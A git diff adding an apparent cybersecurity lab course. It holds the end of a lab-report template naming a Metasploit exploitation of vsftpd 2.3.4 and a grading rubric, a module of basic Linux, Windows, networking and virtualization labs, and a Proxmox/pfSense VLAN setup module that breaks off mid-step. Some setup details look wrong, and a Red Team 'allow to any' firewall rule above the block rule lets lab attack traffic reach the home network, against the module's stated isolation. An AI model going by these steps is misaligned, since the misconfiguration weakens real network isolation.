terminal +history > command_history.txt +``` +(Attach file: command_history.txt) + +### Appendix B: Screenshots +- Screenshot 1: Nmap scan results showing vsftpd 2.3.4 +- Screenshot 2: Metasploit successful exploitation +- Screenshot 3: Root shell access (id command output) +- Screenshot 4: Wireshark PCAP showing port 6200 connection +- Screenshot 5: Security Onion alert for detection + +### Appendix C: Packet Capture +(Attach file: exploitation.pcapng) + +### Appendix D: Metasploit Output Log +(Attach file: msfconsole.log) + +--- + +## 12. REFERENCES + +1. National Vulnerability Database. (2011). CVE-2011-2523. Retrieved from https://nvd.nist.gov/vuln/detail/CVE-2011-2523 +2. Rapid7. (2024). Metasploit Framework Documentation. Retrieved from https://docs.rapid7.com/metasploit/ +3. MITRE Corporation. (2024). ATT&CK Framework - T1190. Retrieved from https://attack.mitre.org/techniques/T1190/ +4. OWASP. (2021). Top 10 Web Application Security Risks. Retrieved from https://owasp.org/Top10/ + +--- + +## 13. DECLARATION + +I certify that this lab report represents my own work and that all tools were used in an authorized, ethical manner within the confines of my personal lab environment. I understand that unauthorized computer access is illegal. + +**Signature:** ___________________________ +**Date:** ___________________________ + +--- + +**END OF LAB REPORT** + +--- + +# GRADING RUBRIC FOR THIS REPORT + +| Section | Points | Criteria | +|---------|--------|----------| +| Executive Summary | 5 | Clear, concise, non-technical language | +| Methodology | 20 | Step-by-step, reproducible, includes commands | +| Findings & Analysis | 20 | Technical depth, vulnerability details, impact | +| Screenshots | 15 | Relevant, annotated, high-quality | +| Detection Engineering | 15 | Custom rules, MITRE mapping, queries | +| Defensive Recommendations | 10 | Actionable, prioritized, realistic | +| Lessons Learned | 5 | Self-reflection, improvement mindset | +| Documentation Quality | 10 | Formatting, grammar, professionalism | +| **TOTAL** | **100** | | + +**Minimum Passing Score:** 70/100 diff --git a/MOD0_Prerequisites.md b/MOD0_Prerequisites.md new file mode 100644 index 0000000..948ad5a --- /dev/null +++ b/MOD0_Prerequisites.md @@ -0,0 +1,600 @@ +# FILE: MOD0_Prerequisites.md +# MODULE 0: PREREQUISITES & FOUNDATIONAL SKILLS + +## Learning Objectives +By completing this module, you will: +- Navigate Linux and Windows command-line interfaces confidently +- Understand TCP/IP networking fundamentals and subnetting +- Analyze system logs for security events +- Grasp virtualization concepts critical for lab environment management + +--- + +## SECTION 1: LINUX COMMAND LINE FUNDAMENTALS + +### Key Concepts +- **Linux Filesystem Hierarchy:** `/` (root), `/home`, `/var/log`, `/etc` +- **File Permissions:** Read (r=4), Write (w=2), Execute (x=1) +- **Users & Groups:** root vs standard users, sudo privilege escalation +- **Package Management:** `apt` (Debian/Ubuntu), `yum`/`dnf` (RedHat/CentOS) + +### LAB 0.1: Linux System Navigation & Log Analysis + +**Prerequisites:** Kali Linux VM (you'll use this throughout the course) + +**Step-by-Step:** + +```bash +# 1. Check your current user and privileges +whoami +id +# Expected output: Shows username and group memberships (UID, GID) + +# 2. Navigate the filesystem +cd /var/log +ls -lah +# Flags explained: -l (long format), -a (show hidden), -h (human-readable sizes) + +# 3. Analyze authentication logs +sudo tail -n 50 /var/log/auth.log +# Shows last 50 login attempts (successful and failed) + +# 4. Search for failed SSH login attempts +sudo grep "Failed password" /var/log/auth.log | tail -n 20 +# Filters log for failed authentication events + +# 5. Count failed login attempts by IP address +sudo grep "Failed password" /var/log/auth.log | awk '{print $(NF-3)}' | sort | uniq -c | sort -rn +# Real-world use: Identify brute-force attacks + +# 6. Check active network connections +ss -tunap +# t=TCP, u=UDP, n=numeric (don't resolve hostnames), a=all, p=processes +# Alternative: netstat -tunap (older systems) + +# 7. View running processes +ps aux | grep ssh +# Find SSH-related processes + +# 8. Check system resource usage +top +# Press 'q' to quit +# Alternative: htop (more user-friendly, may need: sudo apt install htop) + +# 9. Create a test user (practice user management) +sudo useradd -m -s /bin/bash testuser +# -m creates home directory, -s sets shell +sudo passwd testuser +# Set password when prompted + +# 10. Check user creation in logs +sudo grep "testuser" /var/log/auth.log | tail -n 5 + +# 11. Switch to the new user +su - testuser +# Enter password, then exit with: exit + +# 12. Remove test user +sudo userdel -r testuser +# -r removes home directory +``` + +**Deliverable:** Screenshot showing output of step 5 (failed login count by IP) and step 8 (top command). + +--- + +### LAB 0.2: File Permissions & Security + +```bash +# 1. Create a test directory structure +mkdir -p ~/security_lab/secrets +cd ~/security_lab + +# 2. Create test files +echo "Public information" > public.txt +echo "Sensitive data" > secrets/confidential.txt + +# 3. Check default permissions +ls -l public.txt +# Typical output: -rw-r--r-- (owner: rw, group: r, others: r) + +# Understanding permission notation: +# -rw-r--r-- +# - = file type (d for directory) +# rw- = owner permissions (read, write, no execute) +# r-- = group permissions (read only) +# r-- = others permissions (read only) + +# 4. Make a file executable +echo '#!/bin/bash' > test_script.sh +echo 'echo "Security Lab Script"' >> test_script.sh +chmod +x test_script.sh +ls -l test_script.sh +# Now shows: -rwxr-xr-x (executable by all) + +# 5. Restrict sensitive file access +chmod 600 secrets/confidential.txt +ls -l secrets/confidential.txt +# Now shows: -rw------- (only owner can read/write) + +# 6. Using octal notation +chmod 750 secrets/ +# 7 (owner: rwx), 5 (group: r-x), 0 (others: ---) +ls -ld secrets/ + +# 7. Change file ownership (requires sudo) +sudo chown root:root secrets/confidential.txt +ls -l secrets/confidential.txt +# File now owned by root + +# 8. Try to read as regular user +cat secrets/confidential.txt +# Should fail with "Permission denied" + +# 9. Use sudo to read +sudo cat secrets/confidential.txt +# Now works (demonstrates privilege escalation) + +# 10. Clean up +cd ~ +sudo rm -rf ~/security_lab +``` + +**Deliverable:** Screenshot showing permission denied error (step 8) and successful sudo read (step 9). + +--- + +## SECTION 2: WINDOWS FUNDAMENTALS + +### Key Concepts +- **PowerShell vs CMD:** Modern PowerShell (verb-noun cmdlets) vs legacy Command Prompt +- **Event Viewer:** Centralized logging system (Security, System, Application logs) +- **Critical Event IDs:** 4624 (successful logon), 4625 (failed logon), 4672 (admin logon) +- **Services:** Background processes (`services.msc`) + +### LAB 0.3: Windows PowerShell & Event Log Analysis + +**Prerequisites:** Windows 10 VM or your host Windows machine + +**Step-by-Step:** + +```powershell +# Open PowerShell as Administrator (Right-click Start > Windows PowerShell (Admin)) + +# 1. Check PowerShell version +$PSVersionTable.PSVersion +# Should be 5.1+ (Windows 10) or 7.x (PowerShell Core) + +# 2. Get system information +Get-ComputerInfo | Select-Object CsName, WindowsVersion, OsArchitecture + +# 3. List running services +Get-Service | Where-Object {$_.Status -eq "Running"} | Select-Object Name, DisplayName + +# 4. Check for failed login attempts (Event ID 4625) +Get-EventLog -LogName Security -InstanceId 4625 -Newest 10 | Format-Table TimeGenerated, Message -AutoSize +# If no events: Try logging in with wrong password first + +# 5. Check successful logins (Event ID 4624) +Get-EventLog -LogName Security -InstanceId 4624 -Newest 10 | Format-Table TimeGenerated, Message -AutoSize + +# 6. Find administrative logins (Event ID 4672) +Get-EventLog -LogName Security -InstanceId 4672 -Newest 5 | Format-List +# Shows "Special privileges assigned to new logon" (admin/SYSTEM) + +# 7. Search Event Viewer for specific string +Get-EventLog -LogName System -Newest 100 | Where-Object {$_.Message -like "*error*"} + +# 8. List local user accounts +Get-LocalUser | Select-Object Name, Enabled, LastLogon + +# 9. Check active network connections +Get-NetTCPConnection -State Established | Select-Object LocalAddress, LocalPort, RemoteAddress, RemotePort, State + +# 10. Find process using specific port (e.g., port 445 - SMB) +Get-NetTCPConnection -LocalPort 445 | Select-Object OwningProcess +Get-Process -Id + +# 11. List installed software +Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion + +# 12. Check Windows Defender status +Get-MpComputerStatus | Select-Object AntivirusEnabled, RealTimeProtectionEnabled, IoavProtectionEnabled + +# BONUS: Export security logs for analysis +Get-EventLog -LogName Security -Newest 100 | Export-Csv -Path C:\security_logs.csv -NoTypeInformation +# Open with Excel or import into SIEM +``` + +**Deliverable:** Screenshot of Event ID 4625 output (step 4) and active network connections (step 9). + +--- + +### LAB 0.4: Windows Event Viewer GUI Navigation + +``` +1. Press Win + R, type: eventvwr.msc, press Enter + +2. Navigate: Windows Logs > Security + +3. Right-click "Security" > Filter Current Log + - Event IDs: 4624,4625,4672 + - Click OK + +4. Double-click on Event ID 4625 (failed logon) + - Note the "Failure Information" section + - Identify: Source IP, Account Name, Failure Reason + +5. Create Custom View: + - Actions panel > Create Custom View + - Name: "Authentication Events" + - Filter: Event IDs 4624,4625,4648,4672 + - Save + +6. Export logs: + - Right-click custom view > Save All Events As + - Format: CSV or EVTX + - Save to Documents folder +``` + +**Deliverable:** Screenshot of custom view showing filtered authentication events. + +--- + +## SECTION 3: NETWORKING FUNDAMENTALS + +### Key Concepts +- **OSI Model:** 7 layers (Physical, Data Link, Network, Transport, Session, Presentation, Application) +- **TCP/IP Stack:** Link, Internet (IP), Transport (TCP/UDP), Application +- **IPv4 Addressing:** 32-bit addresses (e.g., 192.168.1.100) +- **Subnetting:** CIDR notation (/24 = 255.255.255.0) +- **Key Protocols:** TCP (connection-oriented), UDP (connectionless), ICMP (ping) + +### LAB 0.5: Subnetting & Network Calculations + +**Practice Problems (Calculate by hand, then verify with tools):** + +**Problem 1:** +``` +Network: 10.10.2.0/24 +Questions: +a) What is the subnet mask? +b) What is the network address? +c) What is the broadcast address? +d) How many usable host IPs? +e) What is the first usable IP? +f) What is the last usable IP? + +ANSWERS: +a) 255.255.255.0 +b) 10.10.2.0 +c) 10.10.2.255 +d) 254 (256 - 2 for network and broadcast) +e) 10.10.2.1 +f) 10.10.2.254 +``` + +**Problem 2:** +``` +Network: 192.168.50.0/26 +Questions: +a) Subnet mask? +b) How many subnets can be created? +c) How many hosts per subnet? +d) List the first 3 subnet ranges + +ANSWERS: +a) 255.255.255.192 +b) 4 subnets (/26 = 2 bits borrowed, 2^2 = 4) +c) 62 hosts per subnet (64 - 2) +d) + - 192.168.50.0/26 (hosts: .1 to .62, broadcast: .63) + - 192.168.50.64/26 (hosts: .65 to .126, broadcast: .127) + - 192.168.50.128/26 (hosts: .129 to .190, broadcast: .191) +``` + +**Verification Tools:** + +```bash +# Linux: Install ipcalc +sudo apt install ipcalc + +# Calculate subnet details +ipcalc 10.10.2.0/24 +ipcalc 192.168.50.0/26 + +# Windows PowerShell: Manual calculation +function Get-SubnetInfo { + param($CIDR) + $IP, $MaskBits = $CIDR -split '/' + $MaskBits = [int]$MaskBits + $TotalIPs = [math]::Pow(2, 32 - $MaskBits) + $UsableIPs = $TotalIPs - 2 + + Write-Host "Network: $CIDR" + Write-Host "Total IPs: $TotalIPs" + Write-Host "Usable IPs: $UsableIPs" +} + +Get-SubnetInfo "10.10.2.0/24" +``` + +**Deliverable:** Handwritten or typed answers to both problems, verified with ipcalc screenshots. + +--- + +### LAB 0.6: Protocol Analysis with Ping & Traceroute + +```bash +# LINUX/KALI: + +# 1. Basic ping (ICMP Echo Request) +ping -c 4 8.8.8.8 +# -c 4 = send 4 packets + +# 2. Traceroute (map network path) +traceroute 8.8.8.8 +# Shows each router hop to destination + +# 3. Ping with timestamp +ping -c 10 -D 8.8.8.8 +# -D adds timestamp to each line + +# 4. Ping specific interface (if multiple NICs) +ping -I eth0 -c 4 10.10.2.1 + +# 5. Large packet test (MTU discovery) +ping -c 4 -s 1472 8.8.8.8 +# -s 1472 = 1500 byte packet (1472 + 28 byte header) + +# 6. TCP ping alternative (when ICMP blocked) +sudo hping3 -S -p 80 -c 4 google.com +# -S = SYN flag, -p 80 = port 80, -c 4 = count +# Install: sudo apt install hping3 + +# WINDOWS (PowerShell): + +# 1. Basic ping +Test-Connection -ComputerName 8.8.8.8 -Count 4 + +# 2. Traceroute +Test-NetConnection -ComputerName google.com -TraceRoute + +# 3. TCP port test +Test-NetConnection -ComputerName google.com -Port 443 +# Tests if port 443 (HTTPS) is open +``` + +**Deliverable:** Screenshot of traceroute to 8.8.8.8 showing at least 5 hops. + +--- + +## SECTION 4: VIRTUALIZATION CONCEPTS + +### Key Concepts +- **Hypervisor Types:** + - **Type 1 (Bare Metal):** Proxmox, VMware ESXi, Hyper-V Server (runs directly on hardware) + - **Type 2 (Hosted):** VirtualBox, VMware Workstation (runs on host OS) +- **Virtual Machine Components:** vCPU, vRAM, vNIC (virtual network interface card), vDisk +- **Snapshots:** Point-in-time state saves (critical for labs—snapshot before risky operations!) +- **Network Modes:** NAT, Bridged, Host-Only, Internal + +### LAB 0.7: VirtualBox Snapshot Management + +**Prerequisites:** VirtualBox installed, any VM (Ubuntu, Windows, etc.) + +**Step-by-Step:** + +``` +1. Start VirtualBox Manager + +2. Select your VM (powered off state) + +3. Take Baseline Snapshot: + - Machine menu > Take Snapshot + - Name: "Clean Install - Pre-Labs" + - Description: "Fresh OS install before any modifications" + - Click OK + +4. Start the VM and make a change: + - Create file on desktop: "test_snapshot.txt" + - Write some text in it + +5. Take Second Snapshot (VM can be running): + - Machine menu > Take Snapshot + - Name: "After Test File Creation" + - Click OK + +6. Make destructive change: + - Delete the test file + - Empty recycle bin + +7. Restore to previous snapshot: + - Shut down VM + - In VirtualBox Manager: Click "Snapshots" button (top right) + - Right-click "After Test File Creation" > Restore + - Confirm restoration + +8. Verify restoration: + - Start VM + - Check desktop - file should be back! + +9. Snapshot best practices for security labs: + - ALWAYS snapshot before exploitation attempts + - Name snapshots descriptively (e.g., "Pre-Metasploit-Attack-2026-02-11") + - Delete old snapshots to free disk space (keep 2-3 max) +``` + +**Deliverable:** Screenshot of VirtualBox snapshot tree showing at least 2 snapshots. + +--- + +### LAB 0.8: Understanding Virtual Network Modes + +**Using VirtualBox (concepts apply to Proxmox/VMware):** + +``` +1. Open VM Settings > Network > Adapter 1 + +2. Test Each Mode: + + MODE 1: NAT (Network Address Translation) + - VM can access internet + - VM cannot be accessed from host + - VMs cannot talk to each other + - Use case: Isolated internet access + + Test: + - Set to NAT + - Start VM, open browser, visit google.com (should work) + - From host, try to ping VM IP (should fail) + + MODE 2: Bridged Adapter + - VM appears as separate device on your home network + - Gets IP from your router's DHCP + - Can communicate with all devices on LAN + - Use case: VM needs to be network-accessible + + Test: + - Set to Bridged + - Start VM, check IP: ip addr (Linux) or ipconfig (Windows) + - From host, ping VM IP (should work) + + MODE 3: Host-Only Adapter + - VM can only talk to host machine + - VM cannot access internet + - VMs on same host-only network can talk to each other + - Use case: Isolated lab networks + + Test: + - Set to Host-Only + - Start VM, check IP (should be 192.168.56.x range) + - Try to access internet (should fail) + - From host, ping VM (should work) + + MODE 4: Internal Network + - VMs can only talk to other VMs on same internal network + - Completely isolated from host and internet + - Use case: Simulated enterprise networks + + Test: + - Create 2 VMs on "intnet1" internal network + - Assign static IPs manually + - VMs should ping each other but nothing else + +3. Proxmox Equivalent (for reference): + - NAT = VM uses Proxmox's internet connection + - Bridged = VLAN-tagged interface on vmbr0 + - Host-Only = Separate bridge without physical uplink + - Internal = VMs on same VLAN tag +``` + +**Deliverable:** Table showing which modes allow: VM-to-Internet, VM-to-Host, VM-to-VM, Host-to-VM. + +--- + +## KNOWLEDGE CHECK: Pre-Module Assessment + +**Before proceeding to MOD1, you should be able to:** + +### Linux Skills +- [ ] Navigate filesystem using `cd`, `ls`, `pwd` +- [ ] Read log files with `cat`, `tail`, `grep` +- [ ] Understand `rwx` permissions and `chmod` octal notation +- [ ] Use `sudo` for privilege escalation +- [ ] Identify running processes with `ps` and `top` + +### Windows Skills +- [ ] Execute PowerShell cmdlets (Get-EventLog, Get-Service, Get-Process) +- [ ] Navigate Event Viewer and filter by Event ID +- [ ] Identify critical security Event IDs (4624, 4625, 4672) +- [ ] Check active network connections +- [ ] Export logs to CSV + +### Networking Skills +- [ ] Calculate subnet mask from CIDR notation +- [ ] Determine network and broadcast addresses +- [ ] Count usable hosts in a subnet +- [ ] Use `ping` and `traceroute` for connectivity testing +- [ ] Understand TCP vs UDP vs ICMP + +### Virtualization Skills +- [ ] Take and restore VM snapshots +- [ ] Differentiate between NAT, Bridged, Host-Only network modes +- [ ] Understand Type 1 vs Type 2 hypervisors +- [ ] Explain why VLAN tagging is necessary in Proxmox + +--- + +## TROUBLESHOOTING COMMON ISSUES + +### "Permission Denied" Errors +```bash +# Forgot sudo? +cat /var/log/auth.log # Fails +sudo cat /var/log/auth.log # Works + +# Wrong file permissions? +ls -l filename # Check permissions +sudo chmod 644 filename # Fix if needed +``` + +### "Command Not Found" +```bash +# Tool not installed? +which nmap # Check if exists +sudo apt install nmap # Install if missing + +# Wrong PATH? +echo $PATH # View search directories +``` + +### Windows Event Viewer Empty +```powershell +# Security auditing might be disabled +auditpol /get /category:* # Check audit policies +# Enable logon auditing if needed (requires admin): +auditpol /set /subcategory:"Logon" /success:enable /failure:enable +``` + +### VM Network Not Working +``` +1. Check VM network adapter settings (NAT/Bridged/etc.) +2. Verify cable "connected" checkbox is ticked +3. Inside VM: sudo dhclient (Linux) or ipconfig /renew (Windows) +4. Check firewall rules on host +``` + +--- + +## PROFESSOR'S GUIDANCE + +**Time Investment:** Allocate 8-12 hours for this module. Do not rush. These are foundational skills you will use in EVERY subsequent module. + +**Common Student Mistakes:** +1. Skipping this module: "I already know Linux" → Then you spend 4 hours troubleshooting basic permission issues in MOD4. +2. Not taking snapshots: You WILL break something. Snapshots are your undo button. +3. Memorizing commands instead of understanding concepts: You won't have internet access during incident response. Understand the "why." + +**Next Steps:** +Once you can confidently complete all labs and pass the knowledge check, you are ready for MOD1: Secure Infrastructure Provisioning. + +**Study Resources:** +- Linux: "The Linux Command Line" by William Shotts (free PDF) +- Windows: Microsoft Learn PowerShell documentation +- Networking: Professor Messer's Network+ videos (YouTube) +- Subnetting: subnetipv4.com (practice calculator) + +**Questions for Self-Assessment:** +1. If you see Event ID 4625 repeating from IP 203.0.113.50, what is likely happening? + - Answer: Brute-force login attempt (failed authentication) +2. A file has permissions `-rwxr-x---`. Can the owning group execute it? + - Answer: Yes (r-x = read and execute) +3. Network 172.16.50.0/28 has how many usable hosts? + - Answer: 14 (2^4 - 2 = 16 - 2) + +--- + +**END OF MODULE 0** + +Proceed to MOD1 when ready. Remember: **Snapshot your VMs before each new module!** diff --git a/MOD1_Secure_Infrastructure.md b/MOD1_Secure_Infrastructure.md new file mode 100644 index 0000000..f5e50e8 --- /dev/null +++ b/MOD1_Secure_Infrastructure.md @@ -0,0 +1,755 @@ +# FILE: MOD1_Secure_Infrastructure.md +# MODULE 1: SECURE INFRASTRUCTURE PROVISIONING + +## Learning Objectives +By completing this module, you will: +- Configure VLAN-aware networking in Proxmox +- Deploy and configure pfSense as a virtual firewall/router +- Create isolated network segments using 802.1Q VLAN tagging +- Implement firewall rules to prevent malicious traffic from escaping the lab +- Validate network segmentation through connectivity testing + +--- + +## Key Concepts + +### Hypervisor Networking +**Proxmox uses Linux Bridges** (`vmbr0`, `vmbr1`, etc.) to connect virtual network interface cards (vNICs) to physical hardware. Think of a bridge as a virtual switch inside your hypervisor. + +### VLAN Tagging (802.1Q) +**What is a VLAN?** A Virtual Local Area Network allows multiple isolated networks to coexist on the same physical infrastructure. Each VLAN has a unique ID (1-4094). + +**Tagged vs Untagged Traffic:** +- **Untagged:** Normal traffic (like your home Wi-Fi) - no VLAN ID +- **Tagged:** Traffic with an 802.1Q header containing VLAN ID +- **Trunk Port:** Network port that carries multiple VLANs (tagged) +- **Access Port:** Network port for a single VLAN (untagged) + +### The Virtual Firewall +**pfSense** will act as the default gateway for all lab VLANs, strictly controlling traffic flow between them. Without proper firewall rules, your attack traffic could leak into your home network! + +--- + +## LAB 1.1: PROXMOX NETWORK CONFIGURATION + +### Prerequisites +- Proxmox VE installed and accessible via web interface (https://PROXMOX-IP:8006) +- Physical network port connected to your home network + +### Step-by-Step: Enable VLAN Awareness + +``` +1. Access Proxmox Web Interface: + - Open browser: https://:8006 + - Login with root credentials + +2. Navigate to Network Configuration: + - Click on your Proxmox node (e.g., "pve") + - Click "System" > "Network" + +3. Identify Your Bridge: + - You should see "vmbr0" (default bridge) + - Note which physical interface it's connected to (e.g., eno1, eth0) + +4. Enable VLAN Awareness: + - Select "vmbr0" + - Click "Edit" + - Check the box: "VLAN aware" + - Comment: "VLAN-aware bridge for security lab" + - Click "OK" + +5. Apply Configuration: + - Click "Apply Configuration" at the top + - WARNING: This may briefly disconnect your Proxmox web interface + - Wait 10 seconds, then refresh browser + +6. Verify Configuration: + - SSH into Proxmox host (or use Shell button in web GUI) + - Run: cat /etc/network/interfaces + - Verify "bridge-vlan-aware yes" appears under vmbr0 +``` + +**Expected Output (Proxmox Bridge Config):** +``` +auto vmbr0 +iface vmbr0 inet static + address 192.168.2.100/24 + gateway 192.168.2.1 + bridge-ports eno1 + bridge-stp off + bridge-fd 0 + bridge-vlan-aware yes + +# Note: Your Proxmox hypervisor management remains on 192.168.2.0/24 (VLAN 2) +# Lab VMs will use VLAN tags 100-400 for the 10.10.x.0/24 networks +# pfSense will route between the lab VLANs and provide internet via WAN +``` + +--- + +## LAB 1.2: PFSENSE VM DEPLOYMENT + +### pfSense VM Specifications +- **CPU:** 2 cores +- **RAM:** 2048 MB (2 GB) +- **Disk:** 16 GB (thin provision) +- **Network Adapters:** 2 + - vNIC 0 (WAN): Bridged to vmbr0, VLAN Tag: 2 (connects to 192.168.2.0/24) + - vNIC 1 (LAN): Bridged to vmbr0, no VLAN tag (will create subinterfaces for VLANs 100-400) + +### Step-by-Step: Create pfSense VM + +``` +1. Download pfSense ISO: + - Visit: https://www.pfsense.org/download/ + - Select: AMD64 (64-bit), DVD Image (ISO Installer) + - Upload to Proxmox: Storage > ISO Images > Upload + +2. Create Virtual Machine: + - Click "Create VM" (top right) + + GENERAL TAB: + - Node: (your Proxmox node) + - VM ID: 100 + - Name: pfSense-Firewall + - Click "Next" + + OS TAB: + - ISO image: pfsense-CE-X.X.X-amd64.iso + - Guest OS Type: Linux + - Kernel: 6.x - 2.6 Kernel + - Click "Next" + + SYSTEM TAB: + - Graphic card: Default + - Machine: Default (i440fx) + - BIOS: Default (SeaBIOS) + - Qemu Agent: Unchecked (for now) + - Click "Next" + + DISKS TAB: + - Bus/Device: SCSI / 0 + - Storage: local-lvm (or your storage) + - Disk size: 16 GB + - Click "Next" + + CPU TAB: + - Sockets: 1 + - Cores: 2 + - Type: host (or kvm64) + - Click "Next" + + MEMORY TAB: + - Memory (MiB): 2048 + - Click "Next" + + NETWORK TAB (WAN Interface): + - Bridge: vmbr0 + - VLAN Tag: 2 (connects to 192.168.2.0/24 management network) + - Model: VirtIO (paravirtualized) + - Click "Next" + + CONFIRM: + - Start after created: Unchecked + - Click "Finish" + +3. Add Second Network Interface (LAN): + - Select pfSense VM > Hardware + - Click "Add" > "Network Device" + - Bridge: vmbr0 + - VLAN Tag: (we'll tag inside pfSense) + - Model: VirtIO + - Click "Add" + +4. Start pfSense Installation: + - Select pfSense VM > Console + - Click "Start" + - Wait for boot menu +``` + +### pfSense Installation Process + +``` +1. Boot Menu: + - Select: "1) Boot Multi User [Enter]" + - Wait for FreeBSD kernel to load + +2. Welcome Screen: + - Accept: Press Enter + +3. Install pfSense: + - Select: "Install" > "OK" + +4. Partitioning: + - Select: "Auto (ZFS)" > "OK" + - Select: "Stripe" > "OK" + - Select: vtbd0 (your virtual disk) > Spacebar to select > "OK" + - Confirm: "YES" (will erase disk) + - Wait for installation (2-3 minutes) + +5. Reboot: + - Select: "No" (to manual configuration) + - Select: "Reboot" + - When rebooting starts: VM > Hardware > CD/DVD > "Do not use any media" + - Wait for pfSense to boot + +6. Interface Assignment: + - Should VLANs be set up now? n (No - we'll do this via web GUI) + - Enter WAN interface name: vtnet0 + - Enter LAN interface name: vtnet1 + - Do you want to proceed? y (Yes) + +7. pfSense Menu: + - You should now see the pfSense menu + - Note the LAN IP address (default: 192.168.1.1) +``` + +--- + +## LAB 1.3: PFSENSE WEB INTERFACE SETUP + +### Temporary Access to pfSense WebGUI + +Since pfSense LAN is 192.168.1.1 but we want our management network on VLAN 100, we need temporary access: + +``` +OPTION A: Create Temporary VM in Proxmox +1. Create small Linux VM (Alpine or Ubuntu) +2. Set its vNIC to vmbr0, no VLAN tag +3. Configure static IP: 192.168.1.50/24 +4. Open browser to: https://192.168.1.1 +5. Default credentials: admin / pfsense + +OPTION B: Configure via Console (Recommended) +1. In pfSense console menu, select: 2) Set interface(s) IP address +2. Select: 1 - WAN +3. Configure IPv4 address WAN interface via DHCP? n (No, static) +4. Enter new IPv4 address: 192.168.2.2 +5. Enter subnet bit count: 24 +6. Enter upstream gateway: 192.168.2.1 +7. Configure IPv6? n (No) +8. Do you want to revert to HTTP? n (No, keep HTTPS) +9. Press Enter to complete + +10. Return to menu, select: 2) Set interface(s) IP address +11. Select: 2 - LAN +12. Enter new IP: 10.10.1.1 +13. Enter subnet: 24 +14. No upstream gateway: +15. No DHCP server for now: +16. Do NOT configure IPv6: +17. Do you want to revert to HTTP? n (No, keep HTTPS) + +Now access pfSense from Proxmox host (both on 192.168.2.0/24): +https://192.168.2.2 (via WAN interface) +or configure a temporary VM on VLAN 100 to access https://10.10.1.1 +``` + +### pfSense Initial Wizard + +``` +1. Access WebGUI: + - Browser: https://10.10.1.1 + - Accept self-signed certificate warning + - Username: admin + - Password: pfsense + +2. Setup Wizard: + - Click "Next" + + GENERAL INFORMATION: + - Hostname: pfsense + - Domain: apophis.local + - Primary DNS: 8.8.8.8 (Google DNS) + - Secondary DNS: 1.1.1.1 (Cloudflare DNS) + - Uncheck "Override DNS" + - Click "Next" + + TIME SERVER: + - Time server hostname: pool.ntp.org + - Timezone: (Select your timezone) + - Click "Next" + + WAN CONFIGURATION: + - Type: Static IP + - IP Address: 192.168.2.2 + - Subnet Mask: 24 (/24) + - Upstream Gateway: 192.168.2.1 + - Click "Next" + + LAN CONFIGURATION: + - IP Address: 10.10.1.1 + - Subnet Mask: 24 (/24) + - Click "Next" + + ADMIN PASSWORD: + - Change default password from "pfsense" to strong password + - Confirm password + - Click "Next" + + RELOAD: + - Click "Reload" + - Wait for pfSense to apply configuration + +3. Login with New Password: + - Username: admin + - Password: (your new password) +``` + +--- + +## LAB 1.4: VLAN INTERFACE CREATION + +Now we create VLANs 200, 300, 400 for Red/Blue/Victim networks. + +### Step-by-Step: Create VLANs + +``` +1. Navigate to VLAN Configuration: + - Interfaces > Assignments > VLANs + +2. Create VLAN 200 (Red Team): + - Click "+ Add" + - Parent Interface: vtnet1 (LAN interface) + - VLAN Tag: 200 + - VLAN Priority: 0 + - Description: RED_TEAM + - Click "Save" + +3. Create VLAN 300 (Blue Team): + - Click "+ Add" + - Parent Interface: vtnet1 + - VLAN Tag: 300 + - Description: BLUE_TEAM + - Click "Save" + +4. Create VLAN 400 (Victim Network): + - Click "+ Add" + - Parent Interface: vtnet1 + - VLAN Tag: 400 + - Description: VICTIM_NET + - Click "Save" + +5. Verify VLANs: + - You should see: vtnet1.200, vtnet1.300, vtnet1.400 +``` + +### Assign VLANs to Interfaces + +``` +1. Navigate to Interface Assignments: + - Interfaces > Assignments + +2. Assign VLAN 200: + - Available network ports: Select "vtnet1.200 (RED_TEAM)" + - Click "+ Add" + - New interface appears as "OPT1" + +3. Assign VLAN 300: + - Select "vtnet1.300 (BLUE_TEAM)" + - Click "+ Add" (becomes OPT2) + +4. Assign VLAN 400: + - Select "vtnet1.400 (VICTIM_NET)" + - Click "+ Add" (becomes OPT3) + +5. Configure OPT1 (Red Team): + - Click "OPT1" + - Check "Enable interface" + - Description: RED_TEAM + - IPv4 Configuration Type: Static IPv4 + - IPv4 Address: 10.10.2.1 / 24 + - Click "Save" + - Click "Apply Changes" + +6. Configure OPT2 (Blue Team): + - Click "OPT2" + - Enable interface + - Description: BLUE_TEAM + - IPv4 Address: 10.10.3.1 / 24 + - Click "Save" > "Apply Changes" + +7. Configure OPT3 (Victim Network): + - Click "OPT3" + - Enable interface + - Description: VICTIM_NET + - IPv4 Address: 10.10.4.1 / 24 + - Click "Save" > "Apply Changes" +``` + +--- + +## LAB 1.5: FIREWALL RULE CONFIGURATION + +**Critical Security Principle:** Default Deny Everything, Explicitly Allow Only What's Needed + +### Understanding pfSense Firewall Logic +- Rules are processed **top to bottom** +- **First match wins** (stops processing) +- Each interface has its own rule set +- Traffic is filtered on the **incoming interface** + +### Step-by-Step: Configure Security Rules + +``` +1. Enable DHCP for Each VLAN: + - Services > DHCP Server > RED_TEAM + - Check "Enable DHCP server on RED_TEAM" + - Range: 10.10.2.100 to 10.10.2.200 + - Click "Save" + - Repeat for BLUE_TEAM (10.10.3.100 - .200) + - Repeat for VICTIM_NET (10.10.4.100 - .200) + +2. Configure RED_TEAM Firewall Rules: + - Firewall > Rules > RED_TEAM + + DELETE DEFAULT "Allow All" RULE: + - Click trash icon on default allow rule + - Confirm deletion + + ADD RULE 1: Allow Red to Victim Network + - Click "Add" (up arrow to add to top) + - Action: Pass + - Interface: RED_TEAM + - Address Family: IPv4 + - Protocol: Any + - Source: RED_TEAM net + - Destination: VICTIM_NET net + - Description: Allow Red Team to attack Victim Network + - Click "Save" + + ADD RULE 2: Allow Red to Internet (for tool updates) + - Click "Add" + - Action: Pass + - Interface: RED_TEAM + - Protocol: Any + - Source: RED_TEAM net + - Destination: Any + - Description: Allow Red Team internet access for tools + - Click "Save" + + ADD RULE 3: Block Red to Everything Else (implicit, but good practice) + - Click "Add" (add to bottom) + - Action: Block + - Interface: RED_TEAM + - Protocol: Any + - Source: Any + - Destination: Any + - Description: Block all other Red Team traffic + - Click "Save" + + - Click "Apply Changes" + +3. Configure BLUE_TEAM Firewall Rules: + - Firewall > Rules > BLUE_TEAM + - Delete default allow rule + + ADD RULE: Allow Blue to Monitor All Networks + - Action: Pass + - Interface: BLUE_TEAM + - Protocol: Any + - Source: BLUE_TEAM net + - Destination: Any + - Description: Allow Blue Team full network access + - Click "Save" > "Apply Changes" + +4. 